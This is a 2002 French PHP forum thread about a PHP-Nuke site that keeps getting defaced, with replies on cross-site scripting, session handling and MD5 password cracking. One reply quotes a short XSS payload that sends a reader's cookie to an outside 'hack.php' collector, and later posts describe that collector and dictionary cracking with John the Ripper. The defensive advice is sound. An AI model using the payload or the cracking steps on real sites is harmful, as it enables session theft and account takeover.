Mon site n'arrete pas de se faire hacker !! - PHP - Programmation
Marsh Posté le 02-11-2002 à 12:32:40
Olivier51 a écrit a écrit : Le lien ... ça serait mieux si tu veux qu'on t'aide ... |
dcarena.free.fr j'avais oublié
Marsh Posté le 02-11-2002 à 12:53:19
google : http://www.hideaway.net/home/publi [...] 5141113688
Citation : XSS in PHPNuke Can Yield Admin Access |
genre il t'envoie un message privé avec
<script>
document.write('<img scr="http://monsite.com/hack.php?pwd='+document.cookie+'">';
</script>
et il récupère le password admin
détails sur le cross scripting : http://www.ifrance.com/kitetoua/tuto/css.txt
http://www.cgisecurity.net/articles/xss-faq.shtml
correctif : http://www.phpnuke.org/modules.php [...] e&sid=4603
Marsh Posté le 02-11-2002 à 12:59:24
le seul problème c'est que je vois pas ou t'envoyer des messages privés
Marsh Posté le 02-11-2002 à 13:30:37
Je pensais pas que c'était faisable ça.
Comme quoi, c'est dangeureux de permettre le stocjkage de message au format html et de stocker un mot de passe dans un cookie.
Marsh Posté le 02-11-2002 à 14:02:08
omega2 a écrit a écrit : Je pensais pas que c'était faisable ça. Comme quoi, c'est dangeureux de permettre le stocjkage de message au format html et de stocker un mot de passe dans un cookie. |
Tout est dangereux si c'est codé avec les pieds. Et phpnuke est codé avec les pieds...
--
lomba
Marsh Posté le 02-11-2002 à 14:13:20
omega2 a écrit a écrit : Je pensais pas que c'était faisable ça. Comme quoi, c'est dangeureux de permettre le stocjkage de message au format html et de stocker un mot de passe dans un cookie. |
la solution a ce genre de problème est tout simplement de stocké le mot de passe crypté dans le cookie...
Marsh Posté le 02-11-2002 à 14:25:43
lomba a écrit a écrit : Tout est dangereux si c'est codé avec les pieds. Et phpnuke est codé avec les pieds... -- lomba |
Ca veut dire que je code pas avec les pieds alors.
Enfin, j'espères ne pas coder avec les pieds. (je permets pas l'html dans les messages et à aucun moment, je ne stockes les mots de passe ailleur que dans la table user et même là il est codé).
En plus, tant qu'on est pas identifié, toutes les pages d'administrations sont vérouillé.
Je penses que ca limite pas mal les risques tout ça.
Marsh Posté le 02-11-2002 à 14:28:38
Mr_Peer a écrit a écrit : la solution a ce genre de problème est tout simplement de stocké le mot de passe crypté dans le cookie... |
En fait non, parceque si tu rechoppe le mot de passe crypté, tu te crée directement le cookie dans le navigateur avec les bonnes informations à la main.
Marsh Posté le 02-11-2002 à 14:28:44
Mr_Peer a écrit a écrit : la solution a ce genre de problème est tout simplement de stocké le mot de passe crypté dans le cookie... |
Même, s'il t'as le mot de passe cripté dans le cookie, il sufit de récupérer les valeurs contenu dans le cookie pour faire sauté l'intérêt du criptage. (soit tu l'utilise et à ce moment là, il a plus besoin de conaitre le vrai mot de passe, soit tu l'utilises pas et le fait de l'avoir sous forme codé dans le cookie donne une chance de pouvoir le décoder et c'est donc un risque de trous de sécurité)
Marsh Posté le 02-11-2002 à 14:44:48
Merci j'ai mis a jour phpnuke, on verra si ca le refait.
Merci encore
Marsh Posté le 02-11-2002 à 14:59:19
ah oué, chui bête... (mais bon, le fait d'avoir que le mot de pass crypté, ça peut ralentir pas mal si il faut le pass pour valider certaines choses...)
ben euh, fo utiliser des cookies de session ou les sessions...
Marsh Posté le 02-11-2002 à 15:04:29
Mr_Peer a écrit a écrit : ah oué, chui bête... (mais bon, le fait d'avoir que le mot de pass crypté, ça peut ralentir pas mal si il faut le pass pour valider certaines choses...) ben euh, fo utiliser des cookies de session ou les sessions... |
Ou ce faire son propre système de sessions.
Si c'est bien fait, il y a pas trop de risque.
Marsh Posté le 02-11-2002 à 15:05:34
Mr_Peer a écrit a écrit : mais bon, le fait d'avoir que le mot de pass crypté, ça peut ralentir pas mal si il faut le pass pour valider certaines choses... |
bha je pense pas tu sais.
trouver un décodeur de md5 (brute force) doit pas être très dur.
moi j'utilise les sessions + ip, histoire que même si tu récupères le num de sessions, tu ne saches rien en faire...
il n'y a que dans le cas d'une session illimitée que je ne prends pas en compte l'ip (les ips fixes sont rares...)
(cette version n'est pas encore online...)
Marsh Posté le 02-11-2002 à 15:06:55
omega2 a écrit a écrit : Ou ce faire son propre système de sessions. Si c'est bien fait, il y a pas trop de risque. |
voui
le mieux c'est de tout faire soit même si on peut...
comme ça, on est sur de ce qu'on fait... et si on fait une connerie, ben on ne peut s'en prendre qu'à soit même
et on évite de se faire hacker pour des failles connues...
Marsh Posté le 02-11-2002 à 15:08:54
ethernal a écrit a écrit : bha je pense pas tu sais. trouver un décodeur de md5 (brute force) doit pas être très dur. |
j'ai jamais cherché...
mais moi aussi j'utilise session et ip...
en plus, c'est bien pratique quand les cookies sont refusés par le client...
Marsh Posté le 02-11-2002 à 15:17:51
Mr_Peer a écrit a écrit : j'ai jamais cherché... mais moi aussi j'utilise session et ip... en plus, c'est bien pratique quand les cookies sont refusés par le client... |
clair ça !
sinon n'importe qui utilise la session d'un autre s'il fait un copier/coller
Marsh Posté le 02-11-2002 à 15:20:45
ethernal a écrit a écrit : clair ça ! sinon n'importe qui utilise la session d'un autre s'il fait un copier/coller |
il me semble que j'avais essayé une fois...
et le systeme de session php4 ne permet pas de récupérer la session d'un autre...
il faudrait que je réessaye pour voir...
Marsh Posté le 02-11-2002 à 15:47:56
ben moi j'utilise les sessions de php4...
et ça marche super bien...
Marsh Posté le 02-11-2002 à 15:52:30
Mr_Peer a écrit a écrit : j'ai jamais cherché... mais moi aussi j'utilise session et ip... en plus, c'est bien pratique quand les cookies sont refusés par le client... |
moi aussi mon porpre système de session (numéro de session + IP).
Je comptes aussi y rajouter un code à n caractères aléatoires pour qu'il soit encore plus compliqué de réussir à piquer la session d'un autre.
pour info, een fait, j'ai deux système de session pour mon site, un pour le chat et un pour le reste.
Celui pour le chat est vailde 15 minutes renouvelable constamment (utile pour sortir de la liste présente ceux qui se sont barés sans se déconecter) et l'autre (pour le reste du site, vu que j'ai pas besoin de savoir qui y est en ligne) est limité à 8 heures sans possibilité de la renouveller.
Marsh Posté le 02-11-2002 à 18:25:10
Mais ca veut dire qu'avec le Cross Site Scripting, on peut créer une page web et un internaute moyen qui tombe dessus peut se faire récupérer ses cookies aussi facilement ????
Dsl, je suis debutant.
Si oui, que faut il mettre sur la page ?
et comment s'en protéger (ne pas accepter les cookies ?)
Marsh Posté le 02-11-2002 à 18:40:38
Badgone69 a écrit a écrit : Mais ca veut dire qu'avec le Cross Site Scripting, on peut créer une page web et un internaute moyen qui tombe dessus peut se faire récupérer ses cookies aussi facilement ???? Dsl, je suis debutant. Si oui, que faut il mettre sur la page ? et comment s'en protéger (ne pas accepter les cookies ?) |
ben là, on parle d'un probleme qui arrive lorsque dans le site il y a un systeme de formulaire qui permet au visiteur d'intéragir avec le site...
si le html est accepté dans le formulaire laors tu peux t insérer n'importe quoi, comme par exemple un code javascript qui va rammasser un cookie...
si tu refuses le html dans le formulaire (et qu'à la place tu utilises les bbcodes) alors pas de problèmes de ce genre...
Marsh Posté le 02-11-2002 à 18:51:36
Ok mais si un formulaire accepte le html, si on marque qqch du comme cité plus haut (avec +document cookies), on recupere des cookies?
mais a qui?
à la ou les personnes qui liront le message (si c'est un forum) et qui executeront le script?
Marsh Posté le 02-11-2002 à 19:01:17
oui, le cookie de celui qui va executer le script en lisant le message...
Marsh Posté le 02-11-2002 à 19:07:34
mais alors donc, pas besoin d'un forum, juste une page sur un site internet suffirait ?
Encore faut il que la personne ose aller sur le site.
Marsh Posté le 02-11-2002 à 19:22:28
Par contre, que contient le fichier hack.php?
Citation : |
Marsh Posté le 02-11-2002 à 21:26:19
Un décodeur MD5 ??? C'est un algorithme de hash ! A mon humble avis, un tel décodeur n'existe pas.
Marsh Posté le 02-11-2002 à 21:37:53
et ... pour répondre à ma question
Parce que je vais essayer de récupéré mes propres cookies lol
Marsh Posté le 02-11-2002 à 23:17:19
Cherrytree a écrit a écrit : Un décodeur MD5 ??? C'est un algorithme de hash ! A mon humble avis, un tel décodeur n'existe pas. |
C'est vrai que le terme 'décodeur' était mal choisi mais il avait bien précisé bruteforce derrière donc no malaiz
Marsh Posté le 02-11-2002 à 23:18:21
Badgone69 a écrit a écrit : et ... pour répondre à ma question Parce que je vais essayer de récupéré mes propres cookies lol |
Réfléchis un peu, c'est vraiment basique à faire..
Marsh Posté le 03-11-2002 à 01:07:33
Badgone69 a écrit a écrit : Hein? on met quoi dans ce fichier hack.php ? |
bha simplement du code qui stocke le password reçu, ou qui l'envoie par mail à l'adresse de ton choix, enfin... tu vois quoi.
Marsh Posté le 04-11-2002 à 00:06:07
*syl* a écrit a écrit : C'est vrai que le terme 'décodeur' était mal choisi mais il avait bien précisé bruteforce derrière donc no malaiz |
Ouais, no malaizzzz...
Marsh Posté le 04-11-2002 à 00:15:43
Pour le "decodeur" md5 brute force, c'est facile, on appelle ca un codeur md5
Il suffit juste de tester avec les mots d'un dictionaire et si le mot de passe est faible, hop !
Bien sur, avec un mot de passe fort, tu peux rendre visible comme t u veux le code md5 du mot de passe et tu sera quand même tranquille.
Sinon, utilisez mozilla/phoenix et cochés la case pour interdire au javascript de manipuler les cookies et comme ca vous être tranquilles. Normallement, un site ne doit pas pouvoir voir les cookies d'un autre site autrement.
PS: John the Ripper pour les intimes.
Marsh Posté le 04-11-2002 à 00:32:11
Kristoph a écrit a écrit : Normallement, un site ne doit pas pouvoir voir les cookies d'un autre site autrement. |
effectivement, un site ne peut pas lire les cookies d'un autre site... mais là, le site où il y a le fichier hack.php n'a bas besoin de lire le cookie... on lui passe le contenu en argument...
Marsh Posté le 11-11-2002 à 14:03:56
Pour info il a fallut 5 ans pour décodé une chaine MD5, avec plusieurs ordinateurs
Marsh Posté le 11-11-2002 à 22:38:00
berceker a écrit a écrit : Pour info il a fallut 5 ans pour décodé une chaine MD5, avec plusieurs ordinateurs |
ouai attends... elle était longue ta chaine ???
pcq décoder une chaine de 5-6 caractères tu ne dois pas mettre plus d'1 heure.
je me souviens qu'à l'école on avait trouvé des passwords win98 (en md5) sur des machines du réseau (des profs qui s'étaient connectés), on a pris l0phtcrak (ou un truc du style) et en moins de 2 heures on avait son password (5 caractères si je me souviens bien). La machine était un Pentium 200...
Marsh Posté le 11-11-2002 à 22:47:28
le password etait le prenom du mec non ?
Marsh Posté le 11-11-2002 à 22:55:52
Ca doit dépendre du mot de passe aussi.
Certain programmes commence par vérifier les mots de passe aprmis un dictionnaire et cherche ensuite à la manière brute et dure (test de toutes les possibilité).
Si tu tombes dans le dico, tu peux dire bingo, sinon, t'en as pour perpète.
Marsh Posté le 02-11-2002 à 11:53:58
Il tourne sous nuke5.6 (je sais c pas top)
Ou est la faille, comment le sécuriser,
j'ai remarqué que le pirate s'attaquait juste au index.php ou index.htm; il est gentil ou il ne peux pas tout éffacer?
Merci bcp